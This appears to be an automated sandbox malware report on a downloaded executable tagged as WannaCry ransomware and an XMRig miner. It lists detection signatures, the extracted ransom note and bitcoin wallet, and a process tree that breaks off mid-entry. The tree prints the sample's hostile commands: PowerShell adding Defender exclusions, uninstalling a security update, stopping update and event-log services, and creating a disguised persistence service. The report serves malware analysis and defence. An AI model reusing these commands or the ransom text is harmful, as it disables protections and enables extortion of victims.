Overview

overview

10

Static

static

1

URLScan

urlscan

https://github.com/i...

windows10-ltsc 2021-x64

Resubmissions

25-01-2025 13:26

250125-qp1zjswmhj 10

25-01-2025 13:25

250125-qn4ztawmdr 3

24-01-2025 18:46

250124-xepxvstpdk 10

Analysis

  • max time kernel
    471s
  • max time network
    483s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250113-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    24-01-2025 18:46

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    https://github.com/imperiska/lekers/blob/main/uthjasjedf.exe

Score
10/10
wannacryxmrigbootkitdefense_evasiondiscoveryevasionexecutionimpactminerpersistenceransomwarespywarestealertrojanupxworm

Malware Config

Extracted

Path

C:\Users\Admin\Downloads\@[email protected]

Family

wannacry

Ransom Note
Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �
Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Wannacry

    WannaCry is a ransomware cryptoworm.

    ransomwarewormwannacry
  • Wannacry family
    wannacry
  • Xmrig family
    xmrig
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • XMRig Miner payload 12 IoCs
    miner
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Disables Task Manager via registry modification
    defense_evasion
  • Downloads MZ/PE file 2 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 35 IoCs
  • Loads dropped DLL 9 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops desktop.ini file(s) 7 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 9 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 3 IoCs
    ransomware
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 21 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 9 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 50 IoCs
  • Modifies registry class 24 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • NTFS ADS 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 2 IoCs
    defense_evasion

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/imperiska/lekers/blob/main/uthjasjedf.exe
    1⤵
    • Enumerates system info in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1452
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x128,0x12c,0x130,0x124,0x134,0x7ffe53c546f8,0x7ffe53c54708,0x7ffe53c54718
      2⤵
        PID:1200
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2184 /prefetch:2
        2⤵
          PID:5040
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
          2⤵
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          PID:4744
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2772 /prefetch:8
          2⤵
            PID:2816
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
            2⤵
              PID:5108
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
              2⤵
                PID:6060
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5620 /prefetch:1
                2⤵
                  PID:2948
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5636 /prefetch:1
                  2⤵
                    PID:3316
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3484 /prefetch:8
                    2⤵
                      PID:2428
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                      2⤵
                      • Drops file in Program Files directory
                      PID:1908
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x24c,0x250,0x254,0x228,0x258,0x7ff79ca55460,0x7ff79ca55470,0x7ff79ca55480
                        3⤵
                          PID:4648
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3484 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:5032
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6100 /prefetch:1
                        2⤵
                          PID:1076
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6068 /prefetch:1
                          2⤵
                            PID:1012
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5628 /prefetch:8
                            2⤵
                              PID:6056
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5688 /prefetch:1
                              2⤵
                                PID:2320
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6804 /prefetch:8
                                2⤵
                                  PID:2216
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7028 /prefetch:8
                                  2⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5140
                                • C:\Users\Admin\Downloads\uthjasjedf.exe
                                  "C:\Users\Admin\Downloads\uthjasjedf.exe"
                                  2⤵
                                  • Drops file in Drivers directory
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1500
                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4684
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                    3⤵
                                      PID:5140
                                      • C:\Windows\system32\wusa.exe
                                        wusa /uninstall /kb:890830 /quiet /norestart
                                        4⤵
                                          PID:324
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe stop UsoSvc
                                        3⤵
                                        • Launches sc.exe
                                        PID:6032
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                        3⤵
                                        • Launches sc.exe
                                        PID:2428
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe stop wuauserv
                                        3⤵
                                        • Launches sc.exe
                                        PID:4968
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe stop bits
                                        3⤵
                                        • Launches sc.exe
                                        PID:4792
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe stop dosvc
                                        3⤵
                                        • Launches sc.exe
                                        PID:1540
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                        3⤵
                                        • Power Settings
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2888
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                        3⤵
                                        • Power Settings
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:356
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                        3⤵
                                        • Power Settings
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3644
                                      • C:\Windows\system32\powercfg.exe
                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                        3⤵
                                        • Power Settings
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3220
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"
                                        3⤵
                                        • Launches sc.exe
                                        PID:2504
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"
                                        3⤵
                                        • Launches sc.exe
                                        PID:3668
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe stop eventlog
                                        3⤵
                                        • Launches sc.exe
                                        PID:5552
                                      • C:\Windows\system32\sc.exe
                                        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"
                                        3⤵
                                        • Launches sc.exe
                                        PID:852
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
                                      2⤵
                                        PID:2428
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5812 /prefetch:1
                                        2⤵
                                          PID:4132
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6128 /prefetch:1
                                          2⤵
                                            PID:4356
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3576 /prefetch:1
                                            2⤵
                                              PID:1876
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3688 /prefetch:1
                                              2⤵
                                                PID:3812
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6876 /prefetch:1
                                                2⤵
                                                  PID:5928
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
                                                  2⤵
                                                    PID:2460
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6572 /prefetch:1
                                                    2⤵
                                                      PID:2200
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6484 /prefetch:1
                                                      2⤵
                                                        PID:5568
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6940 /prefetch:1
                                                        2⤵
                                                          PID:4796
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6880 /prefetch:1
                                                          2⤵
                                                            PID:4724
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5828 /prefetch:1
                                                            2⤵
                                                              PID:4312
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6608 /prefetch:1
                                                              2⤵
                                                                PID:4560
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3236 /prefetch:2
                                                                2⤵
                                                                  PID:1536
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6932 /prefetch:1
                                                                  2⤵
                                                                    PID:1440
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6076 /prefetch:1
                                                                    2⤵
                                                                      PID:860
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7056 /prefetch:1
                                                                      2⤵
                                                                        PID:5776
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3132 /prefetch:1
                                                                        2⤵
                                                                          PID:6012
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6724 /prefetch:1
                                                                          2⤵
                                                                            PID:1764
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1880 /prefetch:1
                                                                            2⤵
                                                                              PID:5020
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3552 /prefetch:8
                                                                              2⤵
                                                                                PID:1068
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2164,15129538743338842989,12254763473270905677,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6148 /prefetch:8
                                                                                2⤵
                                                                                  PID:5564
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
